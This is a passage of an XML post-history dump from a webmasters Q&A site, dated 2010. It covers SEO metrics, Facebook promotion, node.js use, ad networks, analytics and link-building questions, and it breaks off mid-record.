  <row Id="9296" PostHistoryTypeId="5" PostId="4683" RevisionGUID="30dc61fd-52bf-40f0-a1d0-656a5bee5b6f" CreationDate="2010-10-31T03:11:45.237" UserId="2730" Comment="edited title; added 145 characters in body; edited title" Text="For example&#xD;&#xA;- &lt;strike&gt;PageRank&lt;/strike&gt; (or not)... :-)&#xD;&#xA;- KEI&#xD;&#xA;- Keyword Density&#xD;&#xA;- Incoming Links&#xD;&#xA;- Outgoing links&#xD;&#xA;- Link anchor text&#xD;&#xA;- Number of competitors for a term&#xD;&#xA;- ...&#xD;&#xA;&#xD;&#xA; ...question, still stands, add your metrics and explanations." />
  <row Id="9297" PostHistoryTypeId="5" PostId="4683" RevisionGUID="0921a883-7c9d-46c0-9bf4-0ef0e990160d" CreationDate="2010-10-31T03:18:25.213" UserId="2288" Comment="deleted 31 characters in body; edited title; deleted 17 characters in body" Text="For example, &lt;strike&gt;PageRank&lt;/strike&gt; (or not)... :-) ...question, still stands, just no example now.&#xD;&#xA;&#xD;&#xA;Factors include how actionable it is, consistency of availability, or correlation to ranking." />
  <row Id="9298" PostHistoryTypeId="4" PostId="4683" RevisionGUID="0921a883-7c9d-46c0-9bf4-0ef0e990160d" CreationDate="2010-10-31T03:18:25.213" UserId="2288" Comment="deleted 31 characters in body; edited title; deleted 17 characters in body" Text="What are the most usefull and useless matrices to track in SEO?" />
  <row Id="9299" PostHistoryTypeId="2" PostId="4687" RevisionGUID="98e33709-8ae5-4c50-b8c2-8c3f56fc0e73" CreationDate="2010-10-31T03:19:04.207" UserId="1279" Text="I run a website / webapp. It's a mix of regularly updated content, and some subscribers only features. Here's what I have done so far for social distribution:&#xD;&#xA;&#xD;&#xA; * **Google Groups** - Set up private and semi private Google Groups of email based distribution.&#xD;&#xA; * **Twitter Updates** - I have successfully synced Twitter with my RSS feed to distribute updates real-time to followers. Included &quot;Follow on Twitter&quot; links on the website.&#xD;&#xA; * **&quot;Tweet&quot;** - Included the Tweet button on content pages.&#xD;&#xA; * **&quot;Recommend on Facebook&quot;** - Included the Recommend on Facebook button on content pages.&#xD;&#xA;&#xD;&#xA;I'm not satisfied with my Facebook strategy tho. Is there more I can do? How do I get &quot;followers&quot; and real-time sync content on FB? I don't want to mix them up with my personal friends. With Twitter, this was so easy.&#xD;&#xA;&#xD;&#xA;Looking for ideas.&#xD;&#xA;&#xD;&#xA;Thanks." />
  <row Id="9300" PostHistoryTypeId="1" PostId="4687" RevisionGUID="98e33709-8ae5-4c50-b8c2-8c3f56fc0e73" CreationDate="2010-10-31T03:19:04.207" UserId="1279" Text="Need a Facebook Strategy" />
  <row Id="9301" PostHistoryTypeId="3" PostId="4687" RevisionGUID="98e33709-8ae5-4c50-b8c2-8c3f56fc0e73" CreationDate="2010-10-31T03:19:04.207" UserId="1279" Text="&lt;facebook&gt;&lt;social-media&gt;" />
  <row Id="9309" PostHistoryTypeId="2" PostId="4690" RevisionGUID="92b38e32-72a7-46b2-b555-ac4ded0b620b" CreationDate="2010-10-31T03:30:38.317" UserId="2288" Text="**USEFUL:** Keyword Rank" />
  <row Id="9310" PostHistoryTypeId="2" PostId="4691" RevisionGUID="fc4461a5-ed50-4071-8abb-863e5e951fa0" CreationDate="2010-10-31T03:36:46.233" UserId="2730" Text="USEFUL:&#xD;&#xA;&#xD;&#xA;Incoming link quality, links from high trustrank and pagerank pages with relevant content and keyword in anchor text. sans nofollow.&#xD;&#xA;&#xD;&#xA;Unique non duplicate content, especially unique title and description meta tags. And sane keyword density in text, so text is not considered spam.&#xD;&#xA;&#xD;&#xA;USELESS:&#xD;&#xA;&#xD;&#xA;Position in SEM results, a myth many believe in us that appearing on AdWords affects your ranking." />
  <row Id="9311" PostHistoryTypeId="2" PostId="4692" RevisionGUID="58b3303a-393c-4663-a30a-e299c9b7c572" CreationDate="2010-10-31T03:42:17.680" UserId="2288" Text="For content intergation check out:&#xD;&#xA;&#xD;&#xA;  - http://developers.facebook.com/docs/guides/web&#xD;&#xA;&#xD;&#xA;Facebook does not require you to use your personal account... **Check out this article:**&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  - &lt;a href=&quot;http://www.searchenginejournal.com/facebook-group-vs-facebook-fan-page-whats-better/7761/&quot;&gt;Facebook Group vs Facebook Fan Page: What’s Better?&lt;/a&gt;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Also, you might want to look into http://hootsuite.com for social media campaign management.&#xD;&#xA;" />
  <row Id="9312" PostHistoryTypeId="2" PostId="4693" RevisionGUID="bdc8512a-7f71-46bd-9f3d-15b3a362adec" CreationDate="2010-10-31T06:02:17.637" UserId="2680" Text="This question goes out to anyone that's used or tried to use node.js in a serious project. How stable is it? What did you use it for? How robust is it?" />
  <row Id="9313" PostHistoryTypeId="1" PostId="4693" RevisionGUID="bdc8512a-7f71-46bd-9f3d-15b3a362adec" CreationDate="2010-10-31T06:02:17.637" UserId="2680" Text="Have You Used Node.js In A Production Environment?" />
  <row Id="9314" PostHistoryTypeId="3" PostId="4693" RevisionGUID="bdc8512a-7f71-46bd-9f3d-15b3a362adec" CreationDate="2010-10-31T06:02:17.637" UserId="2680" Text="&lt;javascript&gt;" />
  <row Id="9315" PostHistoryTypeId="2" PostId="4694" RevisionGUID="87703456-aa4d-4186-b334-2e3f77aff274" CreationDate="2010-10-31T06:19:09.337" UserId="2379" Text="Whenever i write a blog post i post a twitter update.  Then twitter automatically places an update on my facebook fan page.  &#xD;&#xA;&#xD;&#xA;My twitter strategy includes following a lot of people.  The facebook strategy gives our users a discount on membership if they are a fan or recommend, or a FREE 14 day trial for a tweet. &#xD;&#xA;&#xD;&#xA;Try to build incentives to get people to aggregrate your content.&#xD;&#xA;Another thing to keep in mind is to produce your content for video format, then post it up on Vimeo and Youtube.  This is important as YouTube is becomming a search engine.&#xD;&#xA;&#xD;&#xA;Last, make sure your site is seo friendly, down to making sure you show up for image searches for key phrases.  about .05% of our searches come from google image search.&#xD;&#xA;&#xD;&#xA;Its an all hands on deck approach.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;You can also try services such as wildfireapp to get your facebook fans up.&#xD;&#xA;&#xD;&#xA;" />
  <row Id="9316" PostHistoryTypeId="2" PostId="4695" RevisionGUID="b82ac8d6-d8d4-448f-b05a-e8dde562cc5e" CreationDate="2010-10-31T06:19:56.530" UserId="2379" Text="Useless: Alexa Page Rank" />
  <row Id="9317" PostHistoryTypeId="4" PostId="4683" RevisionGUID="54321342-ac39-47e6-a8b7-9cb8e2e5be3e" CreationDate="2010-10-31T10:48:30.950" UserId="2730" Comment="matrix is just wrong, metric has a proper meaning in this context" Text="What are the most usefull and useless metrics to track in SEO?" />
  <row Id="9318" PostHistoryTypeId="2" PostId="4696" RevisionGUID="fcc9f014-b912-4987-8c76-7e36fc528292" CreationDate="2010-10-31T11:10:26.640" UserId="1647" Text="Personally, I haven't used it in production but I know several companies already did.&#xD;&#xA;For example, [GitHub uses Node.js][1] to power the download server.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://github.com/blog/678-meet-nodeload-the-new-download-server" />
  <row Id="9319" PostHistoryTypeId="2" PostId="4697" RevisionGUID="bbe14a76-b765-4112-8fd5-30a096e92508" CreationDate="2010-10-31T11:20:45.627" UserId="1204" Text="The bottom of the index page of the node.js wiki on github lists a number of companies that are using node.js, some apparently for live and public applications which would generally be considered to be &quot;in production&quot;." />
  <row Id="9320" PostHistoryTypeId="2" PostId="4698" RevisionGUID="906064e5-34bb-439e-91ab-283185d4ae3e" CreationDate="2010-10-31T12:20:41.990" UserId="2730" Text="I guess it can relate to SEO as in &quot;a list of possible websites I want to get links from&quot;, if you check the websites related to your own." />
  <row Id="9321" PostHistoryTypeId="5" PostId="4685" RevisionGUID="5ecc615c-b679-4287-b7ed-1499c4e84f01" CreationDate="2010-10-31T12:23:14.627" UserId="2730" Comment="added 219 characters in body" Text="I would suggest you take a look at [Atlassian Confluence][1] wiki, [many establishments][2] use it as their internal website and knowledgebase. And the windows authentication is built-in as far as I know.&#xD;&#xA;&#xD;&#xA;It might even be free for hospitals, but even if not - it is quite cheap to buy.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.atlassian.com/software/confluence/&#xD;&#xA;  [2]: http://www.atlassian.com/software/confluence/customers.jsp" />
  <row Id="9322" PostHistoryTypeId="2" PostId="4699" RevisionGUID="cb13f1d4-d896-456e-aae5-ab55b736967c" CreationDate="2010-10-31T13:24:01.030" UserId="2585" Text="I have been working on 2 websites for a long time and the most challenging work is to create good content to them. I use to write the articles mysellf or sometimes hire an external service to do it for me (around 7-10 uds each and poor quality). At this moment my site has around 400 pages indexed all of them created by me and taking me a lot of time. Although, I note that some of my competence has 6.000, 12.000 pages (not forums, etc, but proper articles and samples) at their site and they are individual webmaster like me and my question is HOW IS POSSIBLE TO HAVE THIS HUGE AMOUNT OF PAGES/CONTENT working alone and with a small budget? &#xD;&#xA;&#xD;&#xA;Basically, I need to improve my site with templates, samples, like job deescription templates, resume templates, etc. My competence has tons of them duly written and formated. CAN YOU PLEASE HELP ME SUGGESTING SOME GOOD/ALTERNATIVES SOURCE TO CREATE WEB CONTENT, preferible for free or maximum for 1usd-3usd price each?" />
  <row Id="9323" PostHistoryTypeId="1" PostId="4699" RevisionGUID="cb13f1d4-d896-456e-aae5-ab55b736967c" CreationDate="2010-10-31T13:24:01.030" UserId="2585" Text="What is the best way to get a huge amount of content to your website?" />
  <row Id="9324" PostHistoryTypeId="3" PostId="4699" RevisionGUID="cb13f1d4-d896-456e-aae5-ab55b736967c" CreationDate="2010-10-31T13:24:01.030" UserId="2585" Text="&lt;content&gt;&lt;writing&gt;" />
  <row Id="9325" PostHistoryTypeId="2" PostId="4700" RevisionGUID="f62c6461-42f8-4435-b1dd-cb24bfdd494e" CreationDate="2010-10-31T14:24:39.890" UserId="1757" Text="How about this: don't create a website if you don't have anything (meaningful) to put on it.&#xD;&#xA;&#xD;&#xA;I know, it's crazy. But sometimes it's best to wait until you have something of value to contribute before you start throwing up websites and trying to get them indexed by search engines.&#xD;&#xA;&#xD;&#xA;Most successful websites are successful because their creators came up with a really good idea for an application/service, or they have a lot of useful knowledge or other interesting content to share with others. You don't just decide one day &quot;hey, I'm gonna create a website and make money from advertising!&quot; and then start building and promoting it before you come up with a source of useful content. People who do that are generally spammers. Their only motivation is to make a quick buck despite having nothing to contribute to the online community, so they create spam blogs or other equally useless sites with low quality content and load them up with ads. And then they have to go around comment-spamming on other people's blogs because their low quality content isn't generating any natural backlinks.&#xD;&#xA;&#xD;&#xA;People who own successful/quality content-based sites have all slowly built their site up over time. They don't just start with 6000 pages of content. A blog author starts with just one blog post, and over many years of posting regularly, they slowly build up a significant pool of content as well as followers. Usually they start the blog just for the fun of it, because they're passionate about a particular field or topic. And then by chance they discover that they're good writers and that people are actually interested in what they have to say. And it's only then that they turn their hobby into a business and start monetizing their site by including a reasonable amount of advertising.&#xD;&#xA;&#xD;&#xA;But those individuals are in the minority. Most people just aren't able to create compelling content that they could actually make money off of, much less create such content in bulk. Even professional bloggers are only able to write when inspiration strikes, or when they have something to write about. Good writing takes time. That's why hiring a copywriter to deliver 50 articles in a month will get you very low quality content. That's also why most sites that publish a lot of content regularly have a full-time writing staff of 10-20 or more writers.&#xD;&#xA;&#xD;&#xA;If you want to pay $7~$8 per article/template/whatever, then how good do you expect it to be? A good article takes at least a couple of hours to write, if not a couple of days. And a good author isn't going to work for $1/hr.&#xD;&#xA;&#xD;&#xA;If you don't have the money to pay for professional writers, then you'll need to write it yourself. But then you have to first ask yourself whether you're qualified to write on the subject of your site: Are you a good writer (or at least a competent one)? Are you an expert on the topic you're writing about? I.e. Were you formally trained in it in school? Do you have industry experience? Do you actually have any insights on the topic or are you just writing because you need more content for SEO purposes?" />
  <row Id="9326" PostHistoryTypeId="5" PostId="4700" RevisionGUID="567c30c0-1e08-46ec-a847-0921e78e30a6" CreationDate="2010-10-31T14:37:32.233" UserId="1757" Comment="added 681 characters in body" Text="How about this: don't create a website if you don't have anything (meaningful) to put on it.&#xD;&#xA;&#xD;&#xA;I know, it's crazy. But sometimes it's best to wait until you have something of value to contribute before you start throwing up websites and trying to get them indexed by search engines.&#xD;&#xA;&#xD;&#xA;Most successful websites are successful because their creators came up with a really good idea for an application/service, or they have a lot of useful knowledge or other interesting content to share with others. You don't just decide one day &quot;hey, I'm gonna create a website and make money from advertising!&quot; and then start building and promoting it before you come up with a source of useful content. People who do that are generally spammers. Their only motivation is to make a quick buck despite having nothing to contribute to the online community, so they create spam blogs or other equally useless sites with low quality content and load them up with ads. And then they have to go around comment-spamming on other people's blogs because their low quality content isn't generating any natural backlinks.&#xD;&#xA;&#xD;&#xA;People who own successful/quality content-based sites have all slowly built their site up over time. They don't just start with 6000 pages of content. A blog author starts with just one blog post, and over many years of posting regularly, they slowly build up a significant pool of content as well as followers. Usually they start the blog just for the fun of it, because they're passionate about a particular field or topic. And then by chance they discover that they're good writers and that people are actually interested in what they have to say. And it's only then that they turn their hobby into a business and start monetizing their site by including a reasonable amount of advertising.&#xD;&#xA;&#xD;&#xA;But those individuals are in the minority. Most people just aren't able to create compelling content that they could actually make money off of, much less create such content in bulk. Even professional bloggers are only able to write when inspiration strikes, or when they have something to write about. Good writing takes time. That's why hiring a copywriter to deliver 50 articles in a month will get you very low quality content. That's also why most sites that publish a lot of content regularly have a full-time writing staff of 10-20 or more writers.&#xD;&#xA;&#xD;&#xA;If you want to pay $7~$8 per article/template/whatever, then how good do you expect it to be? A good article takes at least a couple of hours to write, if not a couple of days. And a good author isn't going to work for $1/hr.&#xD;&#xA;&#xD;&#xA;If you don't have the money to pay for professional writers, then you'll need to write it yourself. But then you have to first ask yourself whether you're qualified to write on the subject of your site: Are you a good writer (or at least a competent one)? Are you an expert on the topic you're writing about? I.e. Were you formally trained in it in school? Do you have industry experience? Do you actually have any insights on the topic or are you just writing because you need more content for SEO purposes?&#xD;&#xA;&#xD;&#xA;By the sound of your question, it doesn't seem like you should be running a website, much less 2 websites. This quantity over quality approach is characteristic of spam blogs, and the web doesn't need any more of those. A legitimate site should be focused on generating moderate amounts of quality content, not trying to generate bulk content to meet some kind of quota. Instead of flooding search indexes with hundreds or thousands of low quality pages, you should just figure out a way to write small amounts of original, high quality content that people will link to, thus giving them high search ranking. That will get you more visitors, and they'll be repeat visitors too." />
  <row Id="9327" PostHistoryTypeId="5" PostId="4697" RevisionGUID="26e941dd-9206-4b8c-8516-8822fdf3b8fb" CreationDate="2010-10-31T15:23:43.640" UserId="1204" Comment="added 48 characters in body" Text="The bottom of [the index page of the node.js wiki on github][1] lists a number of companies that are using node.js, some apparently for live and public applications which would generally be considered to be &quot;in production&quot;.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://github.com/ry/node/wiki" />
  <row Id="9328" PostHistoryTypeId="2" PostId="4701" RevisionGUID="dba20f0f-7dc2-47da-83f6-15c8d0e510fc" CreationDate="2010-10-31T16:02:34.457" UserId="2730" Text="Best option is to use FTP. You can easily add/remove/update html/css/js/images on your website with it. And a there is wide support for it in multiple software packages, either stand alone that only handle FTP ... or parts of bigger packages that create the content in the first place." />
  <row Id="9329" PostHistoryTypeId="2" PostId="4702" RevisionGUID="bd1b7108-d1b2-4716-8ede-dba037a4e323" CreationDate="2010-10-31T16:07:43.503" UserId="2730" Text="There is an article on seomoz.org about [PageRank Sculpting][1] that explain a lot of details how pageright is currently used by Google.&#xD;&#xA;&#xD;&#xA;It is interesting to know what PageRank is, but in most cases unless you have a huge website that suffers from bad structure -- PR is not something you should care about.&#xD;&#xA;&#xD;&#xA;  [1]: http://www.seomoz.org/blog/pagerank-sculpting-parsing-the-value-and-potential-benefits-of-sculpting-pr-with-nofollow" />
  <row Id="9330" PostHistoryTypeId="2" PostId="4703" RevisionGUID="fa571aa0-d590-4980-bba2-2594a216e88c" CreationDate="2010-10-31T16:08:02.853" UserId="2840" Text="Look at StackExchange and Wikipedia : for me, the best way to get a hyge amout of quality content is the collaborative way.&#xD;&#xA;&#xD;&#xA;You &quot;just&quot; have to provide strong infrastructure (good ergonomic/moderation/scalability...)" />
  <row Id="9331" PostHistoryTypeId="2" PostId="4704" RevisionGUID="3b90784b-4d2c-468c-a36c-3cdd9b1f15ee" CreationDate="2010-10-31T16:15:48.417" UserId="2730" Text="You can use the [Google AdPlanner][1] ([wikipedia][2]) to create virtual slots for advertising on your website, then fill these slots with whatever ads you like.&#xD;&#xA;&#xD;&#xA;You can use AdSense, or any other Ad Network or Affiliate Network ([cj.com][3],etc..)- or even sell slots in your website directly to companies who wish to advertise on your website.&#xD;&#xA;&#xD;&#xA;The ad planner will help you report results of how many times ads were shown, create billing for companies who are showing the ads, and in general help you organize your inventory of slots.&#xD;&#xA;&#xD;&#xA;If you have a very large website, a product called [OpenX][4] does about the same thing but you host it on your servers. For a small to medium sized website there is no reason to use such a monster, but you might find it useful for larger websites.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://www.google.com/adplanner/&#xD;&#xA;  [2]: http://en.wikipedia.org/wiki/Ad_Manager&#xD;&#xA;  [3]: http://www.cj.com&#xD;&#xA;  [4]: http://www.openx.org/" />
  <row Id="9332" PostHistoryTypeId="2" PostId="4705" RevisionGUID="44228f7a-4e6e-4b81-ae79-0cc6c86231b2" CreationDate="2010-10-31T16:20:54.330" UserId="2730" Text="There are several products from [Microsys][1], especially their [A1 Sitemap Generator][2] and [A1 Website Analyzer][3] that will crawl your website and report everything you can possibly imagine about it.&#xD;&#xA;&#xD;&#xA;That includes broken links, but also a table view of all your pages so you can compare things like identical &amp;lt;title&gt; and meta description tags, nofollow links, meta noindex on webpages, and a whole lot of diseases that just need a sharp eye and a quick hand to fix.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.microsystools.com/&#xD;&#xA;  [2]: http://www.microsystools.com/products/sitemap-generator/&#xD;&#xA;  [3]: http://www.microsystools.com/products/website-analyzer/" />
  <row Id="9333" PostHistoryTypeId="2" PostId="4706" RevisionGUID="22082be6-6bd9-47b8-a086-3f0b899188c8" CreationDate="2010-10-31T16:27:33.423" UserDisplayName="wikiwiki" Text="Where can I find ads to place on my site that are `125px x 125px` to place one my site? The sites content is mixed." />
  <row Id="9334" PostHistoryTypeId="1" PostId="4706" RevisionGUID="22082be6-6bd9-47b8-a086-3f0b899188c8" CreationDate="2010-10-31T16:27:33.423" UserDisplayName="wikiwiki" Text="Where to find ads of a certain size to place on my web site?" />
  <row Id="9335" PostHistoryTypeId="3" PostId="4706" RevisionGUID="22082be6-6bd9-47b8-a086-3f0b899188c8" CreationDate="2010-10-31T16:27:33.423" UserDisplayName="wikiwiki" Text="&lt;advertising&gt;&lt;marketing&gt;&lt;ads&gt;" />
  <row Id="9336" PostHistoryTypeId="2" PostId="4707" RevisionGUID="1c434a7a-b23a-4117-a566-dced40df280d" CreationDate="2010-10-31T16:27:50.293" UserId="2730" Text="If you have a large website, you can use a crawler to scan your website and generate a sitemap.&#xD;&#xA;&#xD;&#xA;One such tool I have experience with is [Microsys A1 Sitemap Generator][1], can also be used to verify your PageRank sculpting, squash those identical &amp;lt;title&gt; tags you have and generally build a good balanced ranking priority for the crawled pages.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.microsystools.com/products/sitemap-generator/" />
  <row Id="9337" PostHistoryTypeId="2" PostId="4708" RevisionGUID="b126474a-f404-4f5d-ac85-ba938af319bf" CreationDate="2010-10-31T16:45:51.797" UserId="2730" Text="You can use [Google AdPlanner][1] to advertise slots you have available on your website. These advertised slots will appear for people on AdSense (mostly) and you can tell the AdPlanner to use any ad agencies you will find in the future to rotate the ads displayed in the slots.&#xD;&#xA;&#xD;&#xA;It is not really finding you ads, if there is no one who is creating such ads ... but AdSense might auto-create text ads in that format in some cases.&#xD;&#xA;&#xD;&#xA;  [1]: https://www.google.com/adplanner/" />
  <row Id="9338" PostHistoryTypeId="2" PostId="4709" RevisionGUID="0b5febcb-ad62-4141-a93d-5511898d60b7" CreationDate="2010-10-31T16:52:03.580" UserDisplayName="wikiwiki" Text="My site is not yet up and was wondering if I can apply for Google AdSense when my site is not yet up or when my is up and just a template? Any suggestions when I should apply for Google AdSense and what conditions my site should be in?" />
  <row Id="9339" PostHistoryTypeId="1" PostId="4709" RevisionGUID="0b5febcb-ad62-4141-a93d-5511898d60b7" CreationDate="2010-10-31T16:52:03.580" UserDisplayName="wikiwiki" Text="When should I apply for Google AdSense?" />
  <row Id="9340" PostHistoryTypeId="3" PostId="4709" RevisionGUID="0b5febcb-ad62-4141-a93d-5511898d60b7" CreationDate="2010-10-31T16:52:03.580" UserDisplayName="wikiwiki" Text="&lt;google-adsense&gt;" />
  <row Id="9341" PostHistoryTypeId="2" PostId="4710" RevisionGUID="bba40b7f-9315-47f4-afe8-e3a9b3e8b588" CreationDate="2010-10-31T17:12:14.017" UserId="2730" Text="You can apply at any time. But unless you have substantial traffic on your website, then adsense will not pay for the time it took you to put it there. Unless you count on 1 cent/month a good pay for your money.&#xD;&#xA;&#xD;&#xA;You can create AdSense ads for non-existing websites as well, but having that on top of your priorities when you dont even have a website is not the best thing to do." />
  <row Id="9342" PostHistoryTypeId="2" PostId="4711" RevisionGUID="73a4aaa3-0fe4-48ea-a055-8cea2dc5bc93" CreationDate="2010-10-31T17:13:18.653" UserDisplayName="wikiwiki" Text="Looking for online advertisers like google that let you place ads in feeds?" />
  <row Id="9343" PostHistoryTypeId="1" PostId="4711" RevisionGUID="73a4aaa3-0fe4-48ea-a055-8cea2dc5bc93" CreationDate="2010-10-31T17:13:18.653" UserDisplayName="wikiwiki" Text="Where can I find online advertisers that let you place ads in rss feeds?" />
  <row Id="9344" PostHistoryTypeId="3" PostId="4711" RevisionGUID="73a4aaa3-0fe4-48ea-a055-8cea2dc5bc93" CreationDate="2010-10-31T17:13:18.653" UserDisplayName="wikiwiki" Text="&lt;advertising&gt;" />
  <row Id="9345" PostHistoryTypeId="2" PostId="4712" RevisionGUID="16689576-3519-470d-8cd9-0c137a899a92" CreationDate="2010-10-31T17:17:58.310" UserId="2730" Text="You might want to take a look at [FeedBurner RSS Ads][1] that Google is using to place ads in RSS.&#xD;&#xA;&#xD;&#xA;If I understand your question correctly, you want to be the publisher that advertisers will want to come and place ads in your RSS ... the above link should answer your question on how it works.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.google.com/support/feedburner/bin/answer.py?answer=86310" />
  <row Id="9346" PostHistoryTypeId="2" PostId="4713" RevisionGUID="ff8da3dc-9759-42b5-bf7d-b6706bd5392d" CreationDate="2010-10-31T17:21:17.677" UserId="480" Text="[Google allows ads in feeds][1] through [feedburner][2] (there are a lot of feeds that use it) and advertisers access it on [AdSense][3].&#xD;&#xA;&#xD;&#xA;[Yahoo][4] and [Pheedo][5] also have similar setups.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.google.com/support/feedburner/bin/answer.py?hl=en&amp;answer=78956&#xD;&#xA;  [2]: http://feedburner.google.com/&#xD;&#xA;  [3]: https://www.google.com/adsense&#xD;&#xA;  [4]: http://yahoo.com&#xD;&#xA;  [5]: http://pheedo.com/" />
  <row Id="9347" PostHistoryTypeId="2" PostId="4714" RevisionGUID="8873ec33-7072-45ac-b7c3-338cac898091" CreationDate="2010-10-31T17:30:08.853" UserId="2288" Text="If not, why; and how would you estimate click throw rates for a SERP?" />
  <row Id="9348" PostHistoryTypeId="1" PostId="4714" RevisionGUID="8873ec33-7072-45ac-b7c3-338cac898091" CreationDate="2010-10-31T17:30:08.853" UserId="2288" Text="Are SEO and SEM click through rates correlated?" />
  <row Id="9349" PostHistoryTypeId="3" PostId="4714" RevisionGUID="8873ec33-7072-45ac-b7c3-338cac898091" CreationDate="2010-10-31T17:30:08.853" UserId="2288" Text="&lt;seo&gt;" />
  <row Id="9350" PostHistoryTypeId="2" PostId="4715" RevisionGUID="2ac3ec1b-34de-449f-bea7-dc006473a4fa" CreationDate="2010-10-31T17:36:32.753" UserId="1253" Text="You can track clicks for a keyword phrase in your site stats but you can't get click through rates as you have no way of knowing how many page views your listing receives in the SERPs. The best you can do is estimate it based on number of visits per month for a search phrase  and divide it by the estimated monthly searches which you can from [Google Adwords Keyword Tool][1].&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://adwords.google.com/o/Targeting/Explorer?__u=1000000000&amp;__c=1000000000&amp;ideaRequestType=KEYWORD_IDEAS#search.none&#xD;&#xA;  " />
  <row Id="9351" PostHistoryTypeId="2" PostId="4716" RevisionGUID="e0c910a7-1121-4d12-bd3e-bd08a7bc5127" CreationDate="2010-10-31T17:44:30.020" UserId="2842" Text="On [Rap Genius][1] you can click the orange lyrics to read pop-up explanations:&#xD;&#xA;&#xD;&#xA;![alt text][2]&#xD;&#xA;&#xD;&#xA;However, I'm sure some visitors don't know that the orange lyrics are clickable. I'd like to figure out **what percentage of visitors to song pages on Rap Genius do not click a single orange lyric before leaving**&#xD;&#xA;&#xD;&#xA;Right now I fire a Google Analytics event whenever someone opens an explanation, but I don't know how to use this data to answer my underlying question.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://rapgenius.com&#xD;&#xA;  [2]: http://i.stack.imgur.com/AKguO.png" />
  <row Id="9352" PostHistoryTypeId="1" PostId="4716" RevisionGUID="e0c910a7-1121-4d12-bd3e-bd08a7bc5127" CreationDate="2010-10-31T17:44:30.020" UserId="2842" Text="Determine what percentage of visitors to my site leave without taking a certain on-page action" />
  <row Id="9353" PostHistoryTypeId="3" PostId="4716" RevisionGUID="e0c910a7-1121-4d12-bd3e-bd08a7bc5127" CreationDate="2010-10-31T17:44:30.020" UserId="2842" Text="&lt;google-analytics&gt;&lt;analytics&gt;&lt;tracking&gt;" />
  <row Id="9354" PostHistoryTypeId="2" PostId="4717" RevisionGUID="d914f7b9-aac5-4718-8358-111209743251" CreationDate="2010-10-31T17:49:35.510" UserId="2730" Text="You can use [Google Analytics Goals][1] for this.&#xD;&#xA;It will be visible as the abandonment rate of a certain funnel.&#xD;&#xA;&#xD;&#xA;You can also use the new [InPage Analytics][2] to see how many clicks the lyrics are getting.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.google.com/support/analytics/bin/answer.py?answer=55515&#xD;&#xA;  [2]: http://www.google.com/support/analytics/bin/answer.py?answer=178902" />
  <row Id="9355" PostHistoryTypeId="2" PostId="4718" RevisionGUID="bde98bd5-6c92-42e8-ab8a-9a4e7743354f" CreationDate="2010-10-31T17:58:02.920" UserId="2843" Text="I have had good experience with SoftSys Hosting.  They have great pricing ($50/month for 2GB RAM and 2 CPU) and I have found the support and communications to be excellent.  The only one of your requirements I am unsure whether or how they support is automatic hardware failover." />
  <row Id="9356" PostHistoryTypeId="2" PostId="4719" RevisionGUID="91b8ce3b-4f99-43a9-b140-e91d9caf2359" CreationDate="2010-10-31T18:21:42.417" UserId="2730" Text="One place that I know is Google Product search, which is free and gives quite a lot of traffic when people are searching for products you sell.&#xD;&#xA;&#xD;&#xA;What other ways are there to get free traffic to your e-commerce website?" />
  <row Id="9357" PostHistoryTypeId="1" PostId="4719" RevisionGUID="91b8ce3b-4f99-43a9-b140-e91d9caf2359" CreationDate="2010-10-31T18:21:42.417" UserId="2730" Text="What places give free traffic for an e-commerce website?" />
  <row Id="9358" PostHistoryTypeId="3" PostId="4719" RevisionGUID="91b8ce3b-4f99-43a9-b140-e91d9caf2359" CreationDate="2010-10-31T18:21:42.417" UserId="2730" Text="&lt;ecommerce&gt;&lt;traffic&gt;&lt;free&gt;" />
  <row Id="9359" PostHistoryTypeId="2" PostId="4720" RevisionGUID="1db35f7e-9c1f-4ad1-a02b-d221f8e63467" CreationDate="2010-10-31T18:41:25.567" UserId="2844" Text="I have been charged with documenting our organizations paper assets that roll back to the early 1600's and was wondering if there was a online platform already existing for this type of website. It would mainly consist of scanned versions of the documents, it's transcript (as some of the writing used - it my as well be written in double dutch!) and some method of tagging each document to a particular title.&#xD;&#xA;&#xD;&#xA;My initial thoughts were along the lines of a Joomla system, with relevant tagging and other plugins installed?&#xD;&#xA;&#xD;&#xA;Thanks!" />
  <row Id="9360" PostHistoryTypeId="1" PostId="4720" RevisionGUID="1db35f7e-9c1f-4ad1-a02b-d221f8e63467" CreationDate="2010-10-31T18:41:25.567" UserId="2844" Text="Suggestions for Document Archive Site" />
  <row Id="9361" PostHistoryTypeId="3" PostId="4720" RevisionGUID="1db35f7e-9c1f-4ad1-a02b-d221f8e63467" CreationDate="2010-10-31T18:41:25.567" UserId="2844" Text="&lt;cms&gt;&lt;websites&gt;&lt;tags&gt;" />
  <row Id="9362" PostHistoryTypeId="2" PostId="4721" RevisionGUID="8a8e2843-30f8-4c57-9e90-3584abd73cee" CreationDate="2010-10-31T18:48:29.973" UserId="2730" Text="As most SEO experts keep saying, it is not just the content that you have - but also a hefty amount of _quality_ incoming links to your content that is important -- these are the two ways to get to the top of the search results.&#xD;&#xA;&#xD;&#xA;The question is where do I find the incomnig links?&#xD;&#xA;&#xD;&#xA;One way I know is [Google Blog Search][1], it can be used to find blogs with related information to your content and some allow to leave comments. The comments usually consist of your name, e-mail and website. If you put your keyword instead of your name, then the keyword turns into a link to your website. Unfortunately most blogs put rel=nofollow on such links, but some blogs don't do that.&#xD;&#xA;&#xD;&#xA;What other ways are there to find quality pages to link keywords back to your website?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Quality link usually means:&#xD;&#xA;&#xD;&#xA;  - located on a page with relevant content&#xD;&#xA;  - does not have a rel=nofollow in the &amp;lt;a&gt;&#xD;&#xA;  - has a relevant keyword as in &amp;lt;a 